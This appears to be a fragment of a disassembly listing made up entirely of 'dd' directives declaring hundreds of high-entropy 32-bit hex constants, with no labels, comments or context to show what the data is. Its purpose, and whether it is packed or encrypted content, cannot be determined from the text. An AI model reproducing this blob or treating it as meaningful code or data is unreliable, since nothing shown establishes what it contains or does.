		dd 15A9Bh, 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh
		dd 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h,	0C65F49h
		dd 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh
		dd 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h
		dd 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h
		dd 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh
		dd 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h
		dd 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h
		dd 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh
		dd 44CFCCh, 0B94B851Ah,	1452965Bh, 0E6BA5600h, 13505358h
		dd 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h
		dd 37120143h, 3570A985h, 7378F456h, 74160800h, 9CAE0D24h
		dd 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h,	0C5521ACAh
		dd 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h
		dd 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh,	15C500E7h
		dd 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h
		dd 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h
		dd 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h,	0FB876B8Dh
		dd 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h,	0EF4903E8h
		dd 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h,	7807431Fh
		dd 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h
		dd 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch,	90135D1Dh
		dd 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h,	28037575h
		dd 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h, 0D344E7B1h
		dd 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh
		dd 3E7EB089h, 33705700h, 3593D588h, 97B50369h, 2C5F256Fh
		dd 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh,	882FB580h
		dd 4200D621h, 0D0396147h, 675B0Ah, 689FC274h, 282D35D2h
		dd 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h
		dd 96303611h, 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh
		dd 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah
		dd 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh
		dd 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h
		dd 40191802h, 58001A10h, 32C78E66h, 0B92B16h, 68444260h
		dd 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h
		dd 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h
		dd 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h,	8045A268h
		dd 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h
		dd 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh, 51EB002Fh
		dd 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h
		dd 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h
		dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h
		dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh
		dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h,	7E1960Bh
		dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh
		dd 4E1660h, 0BA673021h,	0E52E70A4h, 8CBBE000h, 85340F0Ah
		dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh,	2B27C880h
		dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h
		dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h
		dd 0B057A384h, 972D00E1h, 70895130h, 94900853h,	5C81B800h
		dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h,	0A1F146A9h
		dd 9685502h, 927C86DDh,	0BC210B80h, 563C75FDh, 0C289F3Dh
		dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h
		dd 0B82386D6h, 3ACF28h,	6760C5F0h, 169A310Dh, 0FA4FFF26h
		dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h,	88A0877Bh
		dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h
		dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh
		dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h
		dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh
		dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h
		dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h
		dd 328890Ah, 18452059h,	1DE8F0FBh, 4A7AC7EAh, 80006BF6h
		dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h
		dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h,	0CBD53E13h
		dd 0BA3B009h, 6167DD1h,	404B5A07h, 0C9250C15h, 3910171Eh
		dd 0B56CE140h, 51B7C4h,	6348921Eh, 82A5083Dh, 8014773Ch
		dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh
		dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh
		dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch
		dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h,	37568D80h
		dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh
		dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h
		dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h
		dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h
		dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh
		dd 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h,	17003A8Ch
		dd 28262CB8h, 0A0BD98h,	0BC07C341h, 84CC501Ah, 9CDB4E00h
		dd 635EAFE9h, 2E47AE3h,	0C95A8A26h, 70C3ED7Fh, 5EC0CB98h
		dd 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h,	586179F5h
		dd 2008DBDh, 898F0C6Dh,	0FC002938h, 4F63CE5Eh, 0A32630h
		dd 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h
		dd 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h,	350304CCh
		dd 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh
		dd 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h,	80D753E7h
		dd 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h,	0C8D8D707h
		dd 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h
		dd 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h
		dd 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch
		dd 0B05F07EBh, 7800CA2Ch
		dd 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h,	0B9E5A207h
		dd 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h,	4C025A8Ch
		dd 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h,	4A0F7D44h
		dd 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h
		dd 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h
		dd 12E0ABBDh, 930C74Ch,	0B1C8CC8Dh, 7645002Ch, 8697E23Fh
		dd 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh
		dd 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh
		dd 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch,	3C1B7BCCh
		dd 7FC1486h, 1CF83101h,	0C21AF052h, 0EA01C1D0h,	0B52C0318h
		dd 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h
		dd 2DAB5612h, 1657824h,	0F85AD836h, 0E43C5EC7h,	0E00B414h
		dd 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h
		dd 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh,	30007958h
		dd 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh
		dd 3CF5F84Ah, 0F513E5h,	1930F2E8h, 488A3C53h, 6A0012FAh
		dd 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h,	6F88C401h
		dd 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h
		dd 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h
		dd 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h
		dd 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h
		dd 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h
		dd 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h,	0C23B3E0Ah
		dd 7BD31080h, 40143B0h,	0EB349A1Eh, 0F8E76783h,	14B3CF60h
		dd 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh
		dd 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h, 0C80238D4h
		dd 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch
		dd 9AA2FF24h, 1F49D85h,	0EB0BE4EAh, 0D0A1154Eh,	0F600DA3Bh
		dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h
		dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h
		dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh,	89F8210Dh
		dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch
		dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch
		dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h,	0F2A5299Fh
		dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h
		dd 5F60FF01h, 70E0609h,	3E4287D8h, 25010215h, 911F6850h
		dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h
		dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h,	15A5B340h
		dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh
		dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h,	0E5197515h
		dd 0F38009D4h, 170880h,	2EAF2695h, 4CA7101Ch, 0EC3C2207h
		dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h
		dd 6BE6AEBCh, 29E00DBh,	0A02174C7h, 0B70B0F1Ah,	80A41840h
		dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h,	34502CBEh
		dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h
		dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h
		dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh
		dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h
		dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h
		dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h
		dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h
		dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h
		dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h,	24E57593h
		dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h,	3F529B00h
		dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h,	0EA73AE00h
		dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh
		dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh
		dd 81D817h, 0B6B2ACF4h,	2B334DCCh, 54B31D06h, 3BC51E0Ch
		dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h,	4930900Ah
		dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h
		dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh
		dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h,	0C0DE2090h
		dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h
		dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh
		dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h
		dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h,	0CE70DD5Ah
		dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h
		dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh
		dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h
		dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h,	0A09F13C3h
		dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch
		dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h,	5EA5008Ah
		dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h
		dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h
		dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h
		dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh
		dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh
		dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h,	21718A23h
		dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h
		dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch,	0A8DBC816h
		dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h
		dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h,	744C8EEh
		dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh,	0BE644AC2h
		dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h
		dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h
		dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h
		dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h,	0E0221E75h
		dd 7542320h, 8A53C379h,	70818027h, 9300B57Ah, 9A61F265h
		dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh
		dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h
		dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h
		dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h
		dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh
		dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h,	0E09FBE70h
		dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h,	89040300h
		dd 18251505h, 310E214h,	84820636h, 0A9309E2h, 0CB30BA3h
		dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh
		dd 5780882Eh, 44A3900h,	53063572h, 0A09DF8BEh, 188A00B8h
		dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh
		dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h,	783B6014h
		dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h,	790101A4h
		dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah
		dd 7FC0AD1Fh, 0EBBC8100h
		dd 7911ABBh, 17410D88h,	8C1E6082h, 29000525h, 2402D6F8h
		dd 0C82D66h, 505553B4h,	22579856h, 0F00FB901h, 612EA2AAh
		dd 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h
		dd 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h
		dd 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h
		dd 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh, 656A8D18h
		dd 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h, 0C43EF101h
		dd 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h, 10F983C3h
		dd 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h
		dd 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh, 0D88A28FBh
		dd 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h,	89FB0714h
		dd 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh,	4A00A284h
		dd 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h, 0F049800h
		dd 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h,	1F046973h
		dd 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h,	0C12FC88Ah
		dd 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h, 373B0D87h
		dd 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h, 0B0AD3800h
		dd 0BD1C01h, 579CFFD4h,	788306C7h, 7208C100h, 8AA0EF30h
		dd 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h,	14CA6AE2h
		dd 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h,	2EFC27D0h
		dd 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h,	64A42201h
		dd 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh, 0EBD38700h
		dd 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h, 30143F00h
		dd 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h, 0DC110D12h
		dd 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh, 961C410Ah
		dd 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h, 8E8BC107h
		dd 31745389h, 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h
		dd 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh
		dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h,	0E8001FD1h
		dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h,	13900085h
		dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh
		dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h,	0E3AD2C03h
		dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h
		dd 527E5411h, 5295800h,	0C4860CDh, 0FAA6005Ch, 0E8AACA81h
		dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h
		dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh
		dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h
		dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h
		dd 2C35943h, 6D316C62h,	8840098Dh, 15017310h, 5203EDF3h
		dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h,	28007560h
		dd 59A66A7Fh, 0C08318h,	4E7EF203h, 0F5FE8111h, 48C07DE0h
		dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h
		dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h
		dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h
		dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh
		dd 7C0C222Fh, 311718Ch,	3546D251h, 0BE02BC0h, 640083C6h
		dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h
		dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h
		dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h
		dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh
		dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h
		dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h
		dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h
		dd 971129Ch, 8D0600C1h,	0A3422E31h, 6500700h, 21BF145Eh
		dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h
		dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h
		dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h
		dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh
		dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h,	868A2411h
		dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h
		dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h
		dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh,	314A2789h
		dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h
		dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh
		dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h,	0A86C9A14h
		dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h
		dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh
		dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h
		dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h
		dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h,	8A3C40D1h
		dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h
		dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h
		dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h,	0AB00E428h
		dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h,	441007C4h
		dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh,	0D190C3h
		dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h
		dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh
		dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h,	5FD73B11h
		dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h
		dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h
		dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh
		dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h
		dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h
		dd 83F2B900h, 2743EC7h,	822F0087h, 2757E181h, 0D900C958h
		dd 0C13BE440h, 1F7726h,	0DD021D6Eh, 0FA18D2CBh,	0BA965307h
		dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h,	0BA754F81h
		dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h,	0F2530094h
		dd 825A5B1h, 970E68B8h,	5E195DEDh, 78CB0E00h, 387225Ah
		dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h
		dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh
		dd 6BC572h, 0C45B18A1h,	58A5DA88h, 95846007h, 0FC0010C6h
		dd 800203h, 0F3E4E938h,	11C9798h, 0C23A8300h, 0C7405674h
		dd 4A9300D4h, 4C35B20h,	48000D7Bh, 0DB2A5E52h, 17A95AAh
		dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h
		dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh
		dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h,	3FF45174h
		dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h,	0F5F20195h
		dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh,	3E9A776h
		dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h
		dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h,	6F936400h
		dd 6D37803h, 20050055h,	2608A11Bh, 44006209h, 9811B34Ch
		dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h
		dd 0AC2EDC8Ah, 789005Eh
		dd 0A96C7952h, 44007C34h, 0E8170509h, 7AD95F7h,	804893D8h
		dd 875C05Dh, 141FCCD3h,	6C02CA3h, 18F7C62Dh, 1D890017h
		dd 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h
		dd 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h,	5CD24DB3h
		dd 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h
		dd 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h,	0C580DCAAh
		dd 1353925h, 7FE43B7Dh,	7E4F1219h, 60C5AFB0h, 0BD3822C8h
		dd 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h,	33F80154h
		dd 7542252Eh, 344E7095h, 8057900h, 2306A32h, 58700060h
		dd 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh, 36BC002Bh
		dd 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh, 3E79722Dh
		dd 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h, 0DF7126h
		dd 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch, 1A40A9h
		dd 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
		dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
		dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h,	0DB642ED6h
		dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
		dd 7600F6F8h, 199BB82h,	7A75251Ch, 4B0A0F42h, 0C200A7D4h
		dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h,	1AD6482Fh
		dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h,	4142ABh
		dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
		dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
		dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h,	0BE927D33h
		dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h,	749C53E9h
		dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
		dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh,	0C951CE80h
		dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
